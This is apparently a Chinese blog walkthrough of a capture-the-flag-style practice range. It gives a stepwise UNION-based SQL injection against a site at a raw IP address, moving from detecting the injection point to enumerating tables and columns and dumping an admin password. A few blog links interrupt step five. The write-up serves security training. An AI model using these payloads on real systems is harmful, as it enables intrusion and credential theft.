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靶场环境：封神台

第一步

http://59.63.200.79:8003/?id=2-1
验证注入点存在

第二步

http://59.63.200.79:8003/?id=1 order by 1/2/…
查询到长度为2

第三步

http://59.63.200.79:8003/?id=9.99 union select 1,2
验证数据返回点，返回值为2

第四步

http://59.63.200.79:8003/?id=9.99 union select 1,database()
查询到库名为maoshe

第五步

https://blog.csdn.net/slismy
https://blog.csdn.net/slismy/category_10436285.html
https://so.csdn.net/so/search/s.do?q=mysql&t=blog&o=vip&s=&l=&f=&viparticle=
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http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/slismy/article/details/108922998
https://blog.csdn.net/slismy/category_10436285.html
https://mp.csdn.net/clock?utm_campaign=marketingcard&utm_source=slismy&utm_content=108922998


http://59.63.200.79:8003/?id=9.99 union select 1,table_name from information_schema.tables where
table_schema=database()
查询到maoshe库下的表名
admin
dirs
news
xss

第六步

http://59.63.200.79:8003/?id=9.99 union select 1,column_name from information_schema.columns where
table_name=‘admin’ and table_schema=database()
查询到admin表下字段名 #group_concat(column_name)
id
username
password

第七步

http://59.63.200.79:8003/?id=9.99 union select 1,password from admin
查询到admin下用户名和密码分别为
admin
hellohack
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